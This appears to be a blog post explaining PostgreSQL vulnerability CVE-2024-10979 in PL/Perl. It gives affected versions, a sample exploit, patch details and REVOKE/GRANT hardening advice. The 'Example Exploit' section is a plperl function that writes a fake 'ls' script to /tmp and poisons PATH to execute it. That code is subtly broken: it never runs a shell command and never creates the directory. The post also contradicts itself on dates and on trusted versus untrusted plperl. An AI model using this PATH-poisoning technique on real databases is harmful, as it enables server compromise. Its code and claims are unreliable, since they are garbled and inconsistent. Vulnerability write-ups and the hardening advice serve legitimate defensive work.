In early 2024, the PostgreSQL community patched a critical vulnerability known as CVE-2024-10979. If you administer or develop on Postgres, especially with the PL/Perl procedural language, this one’s for you. This long read post will dig into what went wrong, who’s at risk, a sample exploit, and how you can lock things down.

What’s the Problem?

PL/Perl lets you write PostgreSQL functions in Perl. Unusually, PL/Perl did not properly lock down sensitive environment variables (like PATH) while running untrusted user code. That means even unprivileged database users could tweak critical process variables via Perl.

A malicious user could exploit this to alter how Perl loads external binaries (by messing with PATH), or even trick Perl modules into loading attacker-controlled code—sometimes allowing them to escalate straight to remote code execution.

PostgreSQL before 17.1, 16.5, 15.9, 14.14, 13.17, or 12.21

*(All versions with PL/Perl support and the untrusted plperl language enabled.)*

How Could Someone Exploit This?

Suppose Bob, a database user, is only supposed to read some rows. He shouldn’t be able to affect system files or run commands on the server. However, by creating a plperl function, Bob can change environment variables for the backend process.

Example Exploit: Change PATH and Execute Code

Exploit Goal:
Run arbitrary shell commands by manipulating environment variables inside a plperl function.

Step 1: Craft a Malicious Function

CREATE FUNCTION run_shell_cmd(cmd TEXT) RETURNS TEXT AS $$
    # Let’s poison PATH to point to a directory we control
    $ENV{PATH} = "/tmp/myevildir";
    # Write a malicious shell script to our evil PATH directory
    open my $fh, '>', '/tmp/myevildir/ls' or die $!;
    print $fh "#!/bin/sh\necho Hacked!\n";
    close $fh;
    chmod 0755, '/tmp/myevildir/ls';
    # Execute a shell command that uses our crafted PATH
    my $output = ls;
    return $output;
$$ LANGUAGE plperl;

Step 2: Trigger the Function

SELECT run_shell_cmd('anything');

Result:
Instead of running the legitimate /bin/ls, Perl uses the new PATH and executes /tmp/myevildir/ls, printing Hacked!. This demo is simple: a real attacker could instead place a Perl module or alter other variables to run arbitrary code.

Why Is This So Dangerous?

- Unprivileged users: No need to break out of Postgres, just have right to create plperl functions.

OS integration: Attackers can trick the database into running code as the Postgres system user.

As the PostgreSQL security advisory reveals:

> “PL/Perl did not sufficiently restrict the environment variables it passes from the database server process. Disabling Perl’s environment variable inheritance is recommended.”

How Was It Fixed?

- From PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, 12.21 onward, if you create an untrusted plperl function, Perl’s environment is cleaned up before running any user code.
- All sensitive process-level variables like PATH, PERL5LIB, PERL5OPT, LD_PRELOAD, etc., are sanitized.

Official patches:
- PostgreSQL Mailing List: Security Release
- Git Commit Fix Example

Restrict plperl language to *trusted users only*, or, better yet, drop it entirely if not used.

3. Audit your CREATE FUNCTION permissions: Only let trusted roles create functions in untrusted languages.

Sample for restricting plperl

REVOKE USAGE ON LANGUAGE plperl FROM PUBLIC;
GRANT USAGE ON LANGUAGE plperl TO trusted_role;

Bottom Line

CVE-2024-10979 is a classic privilege escalation via mishandled environment variables. If you use PL/Perl on affected versions and expose database access to untrusted users (internal or external), you must upgrade ASAP!

References

- PostgreSQL Security Release: Release announcement
- NVD Entry: CVE-2024-10979 at NVD
- Git Patch: Commit for CVE-2024-10979
- Red Hat: Security Notice

Timeline

Published on: 11/14/2024 13:15:04 UTC